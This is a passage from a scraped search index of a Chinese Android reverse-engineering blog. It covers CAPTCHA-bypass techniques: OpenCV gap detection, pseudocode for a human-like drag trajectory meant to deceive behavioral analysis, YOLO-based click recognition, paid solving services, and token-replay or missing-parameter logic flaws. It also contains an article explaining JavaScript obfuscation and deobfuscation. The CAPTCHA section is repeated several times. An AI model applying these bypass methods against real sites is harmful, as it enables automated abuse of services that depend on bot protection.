这是整个绕过过程的灵魂。一个好的轨迹模拟算法需要考虑以下几点，以欺骗服务器端的行为分析模型： 非线性移动: 绝对不能是 (x1, y1) 到 (x2, y2) 的直线。路径需要是带有弧度的曲线。 变速移动: 模拟人类操作的肌肉控制，轨迹应该是\"慢-快-慢\"的模式。 初段加速: 初始移动速度较慢。 中段匀速/加速: 中间过程速度加快。 末段减速: 接近目标时，速度会显著减慢，进行微调。 随机抖动: 在主轨迹的基础上，叠加微小的、随机的 Y 轴（有时也包括 X 轴）偏移，模拟手部自然的抖动。 超越与回退: 有时可以模拟\"拖过头了一点点，再往回拉\"的行为，这会极大地增加轨迹的可信度。 停顿: 在拖动过程中可以加入短暂的、随机时长的停顿。 实现示例 (伪代码): def generate_human_like_track(target_distance): track = [] current_pos = 0 # Movement pattern: accelerate first, then decelerate while current_pos \u003c target_distance: # 1. Calculate movement step size for current phase (non-uniform speed) if current_pos \u003c target_distance * 0.7: step = random.uniform(2, 4) # Acceleration phase else: step = random.uniform(0.5, 2) # Deceleration and fine-tuning phase # 2. Add random jitter y_offset = random.uniform(-1, 1) # 3. Record trajectory point track.append((step, y_offset, random.uniform(10, 50))) # (x step, y offset, time interval ms) current_pos += step # (Optional) Add \"overshoot and pull back\" trajectory points # ... return track 适用场景: 需要从一张大图中识别并定位多个不规则物体的点选验证码（例如，“选出所有的红绿灯”）。 方法: 数据标注: 收集大量的验证码图片，并手动标注出需要识别的物体（如\"红绿灯\"、“公交车”）。 模型训练: 使用标注好的数据集训练一个目标检测模型，如 YOLOv5 或 SSD。 推理: 在实际绕过时，将验证码图片输入到训练好的模型中，模型会返回所有识别到的目标的位置坐标。 后续操作: 拿到坐标后，再结合上一节的\"轨迹模拟\"方法去点击。 第三方打码平台 概念: 将识别验证码这一专业任务外包给第三方服务。这些平台背后通常是大量的人工或者更强大的 AI 模型。 代表服务: 2Captcha, Anti-Captcha 等。 工作流程: 注册并充值。 通过 API 将验证码图片（或任务描述）发送给平台。 平台返回结果（如滑块的 X 坐标，或点选目标的坐标序列）。 你的程序拿到结果后，再执行后续的模拟操作。 优点: 成功率极高，能解决几乎所有类型的验证码，无需自己维护复杂的识别模型。 缺点: 需要付费，存在隐私和安全风险（将数据发给第三方），有网络延迟。 ","date":"2025-04-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/captcha_bypassing_techniques/:0:2","tags":["SSL Pinning","加密分析","Android","Selenium","验证码","Root检测"],"title":"验证码绕过技术：滑块与点选篇","uri":"/reverse_engineering/android/01-recipes/anti-detection/captcha_bypassing_techniques/#步骤-1-目标识别-计算机视觉"},{"categories":null,"collections":null,"content":"绕过策略一：模拟人类行为 这是最主流、最根本的绕过方法，其核心是尽可能地模仿人类操作的不完美性。 步骤 1: 目标识别 (计算机视觉) 在模拟操作之前，程序需要先像人一样\"看懂\"验证码。 对于滑块验证码 (缺口识别): 常用库: OpenCV (Python)。 方法一：边缘检测: 获取带缺口的背景图和不带缺口的完整背景图（通常可以从网络请求中找到）。 使用 Canny 等边缘检测算法分别处理两张图片。 对比两张图的边缘差异，差异最显著的区域就是缺口的位置。 方法二：模板匹配: 从网络请求或页面元素中获取到独立的\"滑块\"图片。 将滑块图片作为\"模板\"，在带缺口的背景图上进行模板匹配 (cv2.matchTemplate)。匹配度最高的地方就是缺口的起始 X 坐标。 对于点选验证码 (目标识别): 如果目标是固定的文字或图标，可以采用与滑块类似的模板匹配方法。 如果目标是变化的、复杂的，例如\"请点击图中所有的公交车\"，则需要依赖更高级的机器学习模型（见策略二）。 步骤 2: 轨迹模拟 (核心关键) 这是整个绕过过程的灵魂。一个好的轨迹模拟算法需要考虑以下几点，以欺骗服务器端的行为分析模型： 非线性移动: 绝对不能是 (x1, y1) 到 (x2, y2) 的直线。路径需要是带有弧度的曲线。 变速移动: 模拟人类操作的肌肉控制，轨迹应该是\"慢-快-慢\"的模式。 初段加速: 初始移动速度较慢。 中段匀速/加速: 中间过程速度加快。 末段减速: 接近目标时，速度会显著减慢，进行微调。 随机抖动: 在主轨迹的基础上，叠加微小的、随机的 Y 轴（有时也包括 X 轴）偏移，模拟手部自然的抖动。 超越与回退: 有时可以模拟\"拖过头了一点点，再往回拉\"的行为，这会极大地增加轨迹的可信度。 停顿: 在拖动过程中可以加入短暂的、随机时长的停顿。 实现示例 (伪代码): def generate_human_like_track(target_distance): track = [] current_pos = 0 # Movement pattern: accelerate first, then decelerate while current_pos \u003c target_distance: # 1. Calculate movement step size for current phase (non-uniform speed) if current_pos \u003c target_distance * 0.7: step = random.uniform(2, 4) # Acceleration phase else: step = random.uniform(0.5, 2) # Deceleration and fine-tuning phase # 2. Add random jitter y_offset = random.uniform(-1, 1) # 3. Record trajectory point track.append((step, y_offset, random.uniform(10, 50))) # (x step, y offset, time interval ms) current_pos += step # (Optional) Add \"overshoot and pull back\" trajectory points # ... return track 适用场景: 需要从一张大图中识别并定位多个不规则物体的点选验证码（例如，“选出所有的红绿灯”）。 方法: 数据标注: 收集大量的验证码图片，并手动标注出需要识别的物体（如\"红绿灯\"、“公交车”）。 模型训练: 使用标注好的数据集训练一个目标检测模型，如 YOLOv5 或 SSD。 推理: 在实际绕过时，将验证码图片输入到训练好的模型中，模型会返回所有识别到的目标的位置坐标。 后续操作: 拿到坐标后，再结合上一节的\"轨迹模拟\"方法去点击。 第三方打码平台 概念: 将识别验证码这一专业任务外包给第三方服务。这些平台背后通常是大量的人工或者更强大的 AI 模型。 代表服务: 2Captcha, Anti-Captcha 等。 工作流程: 注册并充值。 通过 API 将验证码图片（或任务描述）发送给平台。 平台返回结果（如滑块的 X 坐标，或点选目标的坐标序列）。 你的程序拿到结果后，再执行后续的模拟操作。 优点: 成功率极高，能解决几乎所有类型的验证码，无需自己维护复杂的识别模型。 缺点: 需要付费，存在隐私和安全风险（将数据发给第三方），有网络延迟。 ","date":"2025-04-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/captcha_bypassing_techniques/:0:2","tags":["SSL Pinning","加密分析","Android","Selenium","验证码","Root检测"],"title":"验证码绕过技术：滑块与点选篇","uri":"/reverse_engineering/android/01-recipes/anti-detection/captcha_bypassing_techniques/#步骤-2-轨迹模拟-核心关键"},{"categories":null,"collections":null,"content":"绕过策略一：模拟人类行为 这是最主流、最根本的绕过方法，其核心是尽可能地模仿人类操作的不完美性。 步骤 1: 目标识别 (计算机视觉) 在模拟操作之前，程序需要先像人一样\"看懂\"验证码。 对于滑块验证码 (缺口识别): 常用库: OpenCV (Python)。 方法一：边缘检测: 获取带缺口的背景图和不带缺口的完整背景图（通常可以从网络请求中找到）。 使用 Canny 等边缘检测算法分别处理两张图片。 对比两张图的边缘差异，差异最显著的区域就是缺口的位置。 方法二：模板匹配: 从网络请求或页面元素中获取到独立的\"滑块\"图片。 将滑块图片作为\"模板\"，在带缺口的背景图上进行模板匹配 (cv2.matchTemplate)。匹配度最高的地方就是缺口的起始 X 坐标。 对于点选验证码 (目标识别): 如果目标是固定的文字或图标，可以采用与滑块类似的模板匹配方法。 如果目标是变化的、复杂的，例如\"请点击图中所有的公交车\"，则需要依赖更高级的机器学习模型（见策略二）。 步骤 2: 轨迹模拟 (核心关键) 这是整个绕过过程的灵魂。一个好的轨迹模拟算法需要考虑以下几点，以欺骗服务器端的行为分析模型： 非线性移动: 绝对不能是 (x1, y1) 到 (x2, y2) 的直线。路径需要是带有弧度的曲线。 变速移动: 模拟人类操作的肌肉控制，轨迹应该是\"慢-快-慢\"的模式。 初段加速: 初始移动速度较慢。 中段匀速/加速: 中间过程速度加快。 末段减速: 接近目标时，速度会显著减慢，进行微调。 随机抖动: 在主轨迹的基础上，叠加微小的、随机的 Y 轴（有时也包括 X 轴）偏移，模拟手部自然的抖动。 超越与回退: 有时可以模拟\"拖过头了一点点，再往回拉\"的行为，这会极大地增加轨迹的可信度。 停顿: 在拖动过程中可以加入短暂的、随机时长的停顿。 实现示例 (伪代码): def generate_human_like_track(target_distance): track = [] current_pos = 0 # Movement pattern: accelerate first, then decelerate while current_pos \u003c target_distance: # 1. Calculate movement step size for current phase (non-uniform speed) if current_pos \u003c target_distance * 0.7: step = random.uniform(2, 4) # Acceleration phase else: step = random.uniform(0.5, 2) # Deceleration and fine-tuning phase # 2. Add random jitter y_offset = random.uniform(-1, 1) # 3. Record trajectory point track.append((step, y_offset, random.uniform(10, 50))) # (x step, y offset, time interval ms) current_pos += step # (Optional) Add \"overshoot and pull back\" trajectory points # ... return track 适用场景: 需要从一张大图中识别并定位多个不规则物体的点选验证码（例如，“选出所有的红绿灯”）。 方法: 数据标注: 收集大量的验证码图片，并手动标注出需要识别的物体（如\"红绿灯\"、“公交车”）。 模型训练: 使用标注好的数据集训练一个目标检测模型，如 YOLOv5 或 SSD。 推理: 在实际绕过时，将验证码图片输入到训练好的模型中，模型会返回所有识别到的目标的位置坐标。 后续操作: 拿到坐标后，再结合上一节的\"轨迹模拟\"方法去点击。 第三方打码平台 概念: 将识别验证码这一专业任务外包给第三方服务。这些平台背后通常是大量的人工或者更强大的 AI 模型。 代表服务: 2Captcha, Anti-Captcha 等。 工作流程: 注册并充值。 通过 API 将验证码图片（或任务描述）发送给平台。 平台返回结果（如滑块的 X 坐标，或点选目标的坐标序列）。 你的程序拿到结果后，再执行后续的模拟操作。 优点: 成功率极高，能解决几乎所有类型的验证码，无需自己维护复杂的识别模型。 缺点: 需要付费，存在隐私和安全风险（将数据发给第三方），有网络延迟。 ","date":"2025-04-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/captcha_bypassing_techniques/:0:2","tags":["SSL Pinning","加密分析","Android","Selenium","验证码","Root检测"],"title":"验证码绕过技术：滑块与点选篇","uri":"/reverse_engineering/android/01-recipes/anti-detection/captcha_bypassing_techniques/#第三方打码平台"},{"categories":null,"collections":null,"content":"绕过策略三：寻找逻辑漏洞 在投入大量精力编写复杂的模拟和识别代码前，先尝试寻找\"捷径\"是一种高性价比的策略。 分析前端 JS: 仔细审查页面的 JavaScript 文件，特别是与验证码相关的逻辑。有时可能会发现： 答案硬编码或弱加密: 缺口位置、目标坐标等信息以明文或简单加密的方式存在于前端代码中。 可预测的随机数: 用于生成验证码的随机种子或算法过于简单，可以被预测。 API 漏洞: 验证绕过: 尝试直接调用提交表单的 API，但不带验证码相关的参数，看后端是否强制校验。 Token 重放: 成功通过一次验证后，获取到的 session_token 或 captcha_id 是否可以被多次重用。 ","date":"2025-04-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/captcha_bypassing_techniques/:0:3","tags":["SSL Pinning","加密分析","Android","Selenium","验证码","Root检测"],"title":"验证码绕过技术：滑块与点选篇","uri":"/reverse_engineering/android/01-recipes/anti-detection/captcha_bypassing_techniques/#绕过策略三寻找逻辑漏洞"},{"categories":null,"collections":null,"content":"防御与对抗的演进 验证码提供商也在不断进化，以对抗上述绕过技术： 环境检测: 检测 WebDriver 特征（如 navigator.webdriver 标志）、浏览器指纹、字体、分辨率等。 更复杂的行为分析: 不仅仅是轨迹，还会分析点击压力、滚轮行为、鼠标加速度等更深层次的生物特征。 图像干扰: 在验证码图片上增加干扰线、噪点、形变、颜色抖动，增加 CV 识别难度。 无感验证 (reCAPTCHA v3): 完全在后台根据用户的综合行为评分，分数过低时才弹出挑战。 ","date":"2025-04-21","objectID":"/reverse_engineering/android/01-recipes/anti-detection/captcha_bypassing_techniques/:0:4","tags":["SSL Pinning","加密分析","Android","Selenium","验证码","Root检测"],"title":"验证码绕过技术：滑块与点选篇","uri":"/reverse_engineering/android/01-recipes/anti-detection/captcha_bypassing_techniques/#防御与对抗的演进"},{"categories":null,"collections":null,"content":"JavaScript Obfuscator (OB 混淆) 分析 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： JavaScript 基础 - 理解 AST、作用域、闭包等概念 浏览器开发者工具 - 使用 Chrome DevTools 进行调试 javascript-obfuscator 是一个非常流行和强大的开源工具，用于混淆和保护 JavaScript 代码。它的混淆产物通常被称为\"OB 混淆\"。OB 混淆通过多种手段的组合，使得代码难以阅读、理解和调试。 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:0:0","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#javascript-obfuscator-ob-混淆-分析"},{"categories":null,"collections":null,"content":"JavaScript 混淆技术概述 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:1:0","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#javascript-混淆技术概述"},{"categories":null,"collections":null,"content":"为什么 App 要对 JS 代码进行混淆？ 在 Android 逆向工程中，JavaScript 代码出现的频率远超初学者的想象。与 Native 层的 C/C++ 代码不同，JS 本质上是解释执行的脚本语言，其源代码或经过简单打包的 bundle 文件通常以明文形式存在于 APK 内部。这意味着，如果不做任何保护，攻击者只需解压 APK，就能直接阅读核心业务逻辑。 混淆 JS 代码的主要动机包括： 动机 说明 知识产权保护 防止竞品抄袭核心算法（如加密签名、风控逻辑） 反爬虫 隐藏请求参数的生成逻辑，增加自动化爬虫的成本 防篡改 增加攻击者修改代码并重新打包的难度 安全加固 隐藏 API 密钥、加密密钥等敏感信息 反调试 通过 debugger 陷阱和检测手段阻碍动态分析 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:1:1","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#为什么-app-要对-js-代码进行混淆"},{"categories":null,"collections":null,"content":"JS 代码在 Android 应用中的存在形式 Android 应用中 JavaScript 代码主要以以下形式出现： 1. WebView 内嵌网页 这是最常见的场景。许多 App 使用 android.webkit.WebView 来加载 H5 页面，这些页面的 JS 代码负责： 页面渲染与交互 调用 JSBridge 与 Native 层通信 生成请求签名参数 // Android 端加载 WebView WebView webView = new WebView(this); webView.getSettings().setJavaScriptEnabled(true); webView.addJavascriptInterface(new JsBridge(), \"NativeBridge\"); webView.loadUrl(\"https://app.example.com/hybrid/index.html\"); 2. React Native 应用 React Native 应用将业务逻辑写在 JavaScript 中，打包后生成 index.android.bundle 文件，通常位于 APK 的 assets/ 目录下。这个 bundle 文件包含了应用的全部 JS 业务代码，是逆向的重点目标。 assets/ ├── index.android.bundle # 核心 JS 代码（可能已混淆） ├── index.android.bundle.meta # 元数据 └── ... 3. 混合开发框架 (Cordova / Ionic / uni-app) 使用 Cordova、Ionic、uni-app 等框架开发的应用，其核心逻辑几乎全部由 JS 实现。代码通常存放在 APK 的 assets/www/ 目录中。 4. 独立 JS 引擎 部分应用会内嵌 V8、QuickJS 或 Hermes 等 JS 引擎，用于执行动态下发的 JS 脚本。这类场景常见于： 动态化配置（热更新） 反爬虫参数生成（如某些电商 App 的签名逻辑） 游戏内脚本引擎 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:1:2","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#js-代码在-android-应用中的存在形式"},{"categories":null,"collections":null,"content":"核心混淆技术 OB 混淆主要依赖于以下几种关键技术： ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:2:0","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#核心混淆技术"},{"categories":null,"collections":null,"content":"1. 字符串混淆 (String Concealing) 字符串数组：将代码中所有的字符串（特别是敏感信息）提取出来，放入一个或多个巨大的数组中。 编码与加密：这些字符串通常会使用 Base64、RC4 或其他自定义算法进行编码或加密。 解码函数：提供一个或多个解码函数。在代码执行时，通过调用 decoder(\"0x1\") 这样的形式来获取原始字符串。 数组乱序与自愈：为了防止静态分析，字符串数组的顺序会在脚本执行初期被动态打乱，解码函数也会随之调整，增加了静态还原的难度。 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:2:1","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#1-字符串混淆-string-concealing"},{"categories":null,"collections":null,"content":"2. 控制流平坦化 (Control Flow Flattening) 这是 OB 混淆最核心、最复杂的特征之一。 状态机转换：将原始代码块（如函数体内的语句）分割成多个小的代码片段，并放入一个巨大的 while 循环中的 switch 结构里。 状态变量：用一个状态变量（程序计数器）来控制 switch 的执行顺序。每个 case 执行完毕后，会更新状态变量，决定下一个要执行的 case。 逻辑打断：原始线性的代码逻辑被完全打乱，变成了在一个巨大的循环中无序跳转，使得人工跟踪变得极其困难。 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:2:2","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#2-控制流平坦化-control-flow-flattening"},{"categories":null,"collections":null,"content":"3. 代码转换与编码 (Code Transformation) 变量名混淆 (Identifier Mangling)：将有意义的变量名、函数名和属性名替换成无意义的短字符，如 _0xabc123。 数字常量替换：将代码中的数字常量（如 123）替换成十六进制字符串表达式（如 0x7b），或者更复杂的表达式，增加阅读难度。 代理函数 (Proxy Functions)：将简单的二元运算（如 a + b）或对象属性访问（obj.prop）替换成对一个代理函数的调用，例如 add(a, b)。这使得批量替换和模式识别变得更加困难。 死代码注入 (Dead Code Injection)：在代码中插入一些永远不会被执行的、但看起来很复杂的逻辑分支（通常与不透明谓词结合），用来迷惑分析者。 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:2:3","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#3-代码转换与编码-code-transformation"},{"categories":null,"collections":null,"content":"4. 反调试与反格式化 (Anti-Debugging) debugger 语句：在代码中插入 debugger; 语句，并且通常会将其包裹在一个无限循环的函数中。当开发者工具打开时，程序会立即暂停并陷入这个循环，阻碍动态调试。 函数重绑定：通过 Function.prototype.constructor 或 eval 来执行代码，使得常规的断点难以命中。 反格式化：检测代码是否被美化或格式化，如果发现，则可能进入死循环或执行错误逻辑。 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:2:4","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#4-反调试与反格式化-anti-debugging"},{"categories":null,"collections":null,"content":"常见混淆手段分类 为了系统地理解和应对 JS 混淆，我们将常见手段分为以下几个大类： ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:3:0","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#常见混淆手段分类"},{"categories":null,"collections":null,"content":"分类总览 分类 手段 复杂度 可逆性 标识符混淆 变量/函数重命名为 _0x 前缀 低 不可逆（原名丢失） 字符串混淆 Base64/RC4 编码 + 字符串表 中 可逆 控制流混淆 while-switch 状态机 高 可逆（需 AST） 死代码注入 不透明谓词 + 无效分支 中 可逆 eval 打包 将代码包裹在 eval() 中 低 可逆 代理函数 运算符替换为函数调用 中 可逆 反调试 debugger 陷阱、时间检测 低 可绕过 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:3:1","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#分类总览"},{"categories":null,"collections":null,"content":"变量重命名 (Identifier Mangling) 变量重命名是最基础的混淆手段。它将所有局部变量、函数名和参数名替换为无意义的标识符。 混淆前： function calculateDiscount(price, discountRate) { let discountAmount = price * discountRate; let finalPrice = price - discountAmount; return finalPrice; } 混淆后： function _0x3a1b(_0x4c2d, _0x5e3f) { let _0x6a4b = _0x4c2d * _0x5e3f; let _0x7b5c = _0x4c2d - _0x6a4b; return _0x7b5c; } 注意：变量重命名是不可逆的，因为原始名称在混淆过程中被永久丢弃。逆向时只能根据上下文语义手动重命名。 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:3:2","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#变量重命名-identifier-mangling"},{"categories":null,"collections":null,"content":"字符串编码与字符串表 将字符串提取到一个集中的数组中，并通过索引 + 解码函数访问： // 混淆后的字符串表 var _0xstr = ['Y29uc29sZQ==', 'bG9n', 'SGVsbG8gV29ybGQ=']; // 解码函数 function _0xdecode(_0xindex) { return atob(_0xstr[_0xindex]); } // 使用：_0xdecode(0x0) =\u003e \"console\" // _0xdecode(0x1) =\u003e \"log\" // _0xdecode(0x2) =\u003e \"Hello World\" ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:3:3","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#字符串编码与字符串表"},{"categories":null,"collections":null,"content":"eval 打包 (Eval Packing) eval 打包将整段 JS 代码编码为字符串，然后通过 eval() 在运行时解码执行： // Dean Edwards Packer 典型输出 eval(function(p,a,c,k,e,r){e=String;if(!''.replace(/^/,String)){ while(c--)r[c]=k[c]||c;k=[function(e){return r[e]}]; e=function(){return'\\\\w+'};c=1};while(c--)if(k[c]) p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c]);return p} ('0.1(\"2 3\")',4,4,'console|log|Hello|World'.split('|'),0,{})) 破解方法：将 eval 替换为 console.log，即可打印出解码后的原始代码。 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:3:4","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#eval-打包-eval-packing"},{"categories":null,"collections":null,"content":"死代码注入 (Dead Code Injection) 通过不透明谓词（opaque predicates）注入永远不会执行的代码路径： // 混淆后 —— 死代码示例 if ('xKqRt' !== 'xKqRt') { // 这段代码永远不会执行 var _0xfake = _0x3a1b(0x1a, 0x2b); _0x4c2d['push'](_0xfake['toString']()); return _0x5e3f['apply'](this, arguments); } else { // 真正的逻辑在这里 result = input * 2 + 1; } 识别死代码的关键：查找字符串字面量的恒等比较（'abc' !== 'abc' 或 'abc' === 'def'），这类条件永远为 true 或 false。 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:3:5","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#死代码注入-dead-code-injection"},{"categories":null,"collections":null,"content":"字符串加密与解密 字符串混淆是 OB 混淆中最常见也最容易突破的环节。理解各种编码方式及其解密方法，是反混淆的第一步。 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:4:0","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#字符串加密与解密"},{"categories":null,"collections":null,"content":"常见编码方式 1. Base64 编码 最基本的字符串编码方式，在浏览器中可直接使用 atob() 解码： // 编码 btoa(\"Hello World\") // =\u003e \"SGVsbG8gV29ybGQ=\" // 解码 atob(\"SGVsbG8gV29ybGQ=\") // =\u003e \"Hello World\" 识别特征：字符串仅包含 A-Z, a-z, 0-9, +, /, =，长度为 4 的倍数（含末尾填充 =）。 2. 十六进制编码 (Hex Encoding) 将每个字符转换为 \\xNN 形式的十六进制： // \"Hello\" 的十六进制编码 var s = \"\\x48\\x65\\x6c\\x6c\\x6f\"; console.log(s); // =\u003e \"Hello\" 3. Unicode 转义 使用 \\uNNNN 或 \\u{NNNNN} 格式编码字符： var s = \"\\u0048\\u0065\\u006c\\u006c\\u006f\"; console.log(s); // =\u003e \"Hello\" 4. RC4 自定义加密 javascript-obfuscator 的高级模式使用 RC4 加密字符串。解码函数通常包含以下特征： // 典型的 RC4 解码函数结构 function _0xrc4(_0xstr, _0xkey) { var _0xs = [], _0xj = 0, _0xres = ''; // S-box 初始化 for (var _0xi = 0; _0xi \u003c 256; _0xi++) { _0xs[_0xi] = _0xi; } for (_0xi = 0; _0xi \u003c 256; _0xi++) { _0xj = (_0xj + _0xs[_0xi] + _0xkey['charCodeAt'](_0xi % _0xkey['length'])) % 256; var _0xtmp = _0xs[_0xi]; _0xs[_0xi] = _0xs[_0xj]; _0xs[_0xj] = _0xtmp; } // PRGA _0xi = 0; _0xj = 0; for (var _0xk = 0; _0xk \u003c _0xstr['length']; _0xk++) { _0xi = (_0xi + 1) % 256; _0xj = (_0xj + _0xs[_0xi]) % 256; var _0xtmp = _0xs[_0xi]; _0xs[_0xi] = _0xs[_0xj]; _0xs[_0xj] = _0xtmp; _0xres += String['fromCharCode'](_0xstr['charCodeAt'](_0xk) ^ _0xs[(_0xs[_0xi] + _0xs[_0xj]) % 256]); } return _0xres; } ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:4:1","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#常见编码方式"},{"categories":null,"collections":null,"content":"数组旋转 (Array Rotation) OB 混淆的标志性特征之一是字符串数组旋转函数。在脚本执行之初，一个 IIFE（立即调用函数表达式）会将字符串数组进行若干次 push/shift 操作，打乱原始顺序： // 字符串数组 var _0xarr = ['bG9n', 'Y29uc29sZQ==', 'SGVsbG8=', ...]; // 旋转函数 —— 在脚本开头执行 (function(_0xdata, _0xcount) { var _0xrotate = function(_0xnum) { while (--_0xnum) { _0xdata['push'](_0xdata['shift']()); } }; _0xrotate(++_0xcount); }(_0xarr, 0x1a3)); 解密策略： 将字符串数组和旋转函数提取出来 在 Node.js 中执行旋转逻辑，得到最终顺序的数组 再对数组中的每个元素调用解码函数（Base64 / RC4），得到明文 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:4:2","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#数组旋转-array-rotation"},{"categories":null,"collections":null,"content":"实用解密脚本 以下是一个在 Node.js 中批量解密 OB 混淆字符串的通用模板： // step1: 将混淆代码中的字符串数组和旋转函数复制到这里 var _0x1234 = ['encrypted_str_1', 'encrypted_str_2', ...]; // (粘贴旋转函数并执行) // step2: 复制解码函数 function _0xdecode(index, key) { // ... 从混淆代码中复制 } // step3: 遍历所有可能的索引，输出解密结果 for (var i = 0; i \u003c 500; i++) { try { var result = _0xdecode(i); if (result) { console.log(`_0xdecode(0x${i.toString(16)}) =\u003e \"${result}\"`); } } catch(e) {} } ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:4:3","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#实用解密脚本"},{"categories":null,"collections":null,"content":"控制流平坦化 控制流平坦化 (Control Flow Flattening, CFF) 是 OB 混淆中最复杂、还原难度最高的技术。理解其工作原理是成功反混淆的关键。 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:5:0","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#控制流平坦化"},{"categories":null,"collections":null,"content":"工作原理 原始代码是线性顺序执行的： // 原始代码 function process(input) { let a = input + 1; // 步骤 1 let b = a * 2; // 步骤 2 let c = b - 3; // 步骤 3 return c; // 步骤 4 } 经过控制流平坦化后，代码变成了一个 while-switch 状态机： // 平坦化后 function process(input) { var _0xstate = '3|0|1|4|2'['split']('|'); var _0xidx = 0; while (true) { switch (_0xstate[_0xidx++]) { case '0': var _0xa = input + 0x1; continue; case '1': var _0xb = _0xa * 0x2; continue; case '2': return _0xc; case '3': var _0xinit = undefined; continue; case '4': var _0xc = _0xb - 0x3; continue; } break; } } 执行流程：状态字符串 '3|0|1|4|2' 决定了 case 的执行顺序为 3 -\u003e 0 -\u003e 1 -\u003e 4 -\u003e 2，即原始逻辑的正确顺序。 ","date":"2025-04-20","objectID":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/:5:1","tags":["代理池","逆向分析","加密分析","Android","反混淆"],"title":"JavaScript Obfuscator (OB 混淆) 分析","uri":"/reverse_engineering/android/01-recipes/analysis/js_obfuscator/#工作原理"},{"categories":null,"collections":null,"content":"识别模式 